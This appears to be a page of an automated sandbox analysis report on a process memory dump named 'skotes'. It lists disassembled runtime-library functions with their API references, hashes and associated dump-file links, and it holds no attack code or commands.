Instruction ID: 82821d96b996e7d5efcb6d365f9d97e8b91bc9aea6b65ade514a9d5564a72dcd
Opcode Fuzzy Hash: 37bca931f0ea1caa52af4359cbcc17f694c5bbf0c6332c2cdc93f3c97c5805b1
Instruction Fuzzy Hash: FF014921791311ADA730B7B4AC9EAFB35EE8E06744B20142AB401E7282FEE4D8440164

Function 00622097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 006220B7

Part of subcall function 0061CAF3: Mailbox.LIBCMT ref: 0061CB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 006220C8
StructuredWorkStealingQueue.LIBCMT ref: 006220FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0062210F

Strings

e, xrefs: 006220D9

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 22bf89fca4bc76f1bd98c4fd24d45f4c47b962e1e7a940048e3eef0930284d1c
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: B511E731500926BBCB51DE68E8A5AEB73A7EF02324B14819DFD168F202DB71D911CF90

Function 0060D029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 0060D0A5

Strings

WakeAllConditionVariable, xrefs: 0060D069
SleepConditionVariableCS, xrefs: 0060D05D
kernel32.dll, xrefs: 0060D04C
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0060D03B

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: bd5026debf89ab60bf66f71b52b224e94315e51ae6b51b5d9065e648a46e1503
Instruction ID: 0a9d644dc253378d0adc45ea1c180ae77cddb775f9808430f86988de2a813046
Opcode Fuzzy Hash: bd5026debf89ab60bf66f71b52b224e94315e51ae6b51b5d9065e648a46e1503
Instruction Fuzzy Hash: FC01A261BD2B11A9E7356FB5AC1DEEB21CB8F47F41F462611AC46E72C0DAD0C8424461

Function 0061E8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 0061E91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0061E926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0061E950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0061E959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0061E9DC

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: cbea55f447e934d198377b6dabd245eef2eb91c196a1097ff146c89082caab3c
Instruction ID: dea1f4283b0235d8f0a4dec21299467df809b9de681ae31c92e522a3ab72afd1
Opcode Fuzzy Hash: cbea55f447e934d198377b6dabd245eef2eb91c196a1097ff146c89082caab3c
Instruction Fuzzy Hash: F2414D75A00619EFDB49DF64C454AADBBB7FF88310F088159E906A7390CB75EE41CB81

Function 0061D2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 0061D344
ListArray.LIBCONCRT ref: 0061D367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0061D370
ListArray.LIBCONCRT ref: 0061D3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0061D3B3

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: 1a390509479f45344671f5552de3d126cd6e91e137525dcef72a0c735c6953c3
Instruction ID: 81575a48e9004699a77fd1bf934d43c435a99e5f7924dfa41839ababc4fd4d6e
Opcode Fuzzy Hash: 1a390509479f45344671f5552de3d126cd6e91e137525dcef72a0c735c6953c3
Instruction Fuzzy Hash: 3331A135700610AFDB05DF54C885BEDB7B7AF8A310F084199E9169B392CB74ED81CB92

Function 006186C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 006186EE

Part of subcall function 0060EAD0: _SpinWait.LIBCONCRT ref: 0060EAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00618702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00618734
List.LIBCMT ref: 006187B7
List.LIBCMT ref: 006187C6

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 2846fdf351849a18000274e6eae12af8c4c5b2d8b1e4b8dda1f04189e995738d
Instruction ID: fc4b42732232d1c074646ed3e7562d61c30bdce509a23458641fe5b25c56579c
Opcode Fuzzy Hash: 2846fdf351849a18000274e6eae12af8c4c5b2d8b1e4b8dda1f04189e995738d
Instruction Fuzzy Hash: 27318632905256DFCB64EFA4D5816EDBBB2BF04318F28406ED40167692CB31AD84CBA8

Function 0062182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 006218A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 006218EB

Strings

pContext, xrefs: 0062189C

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
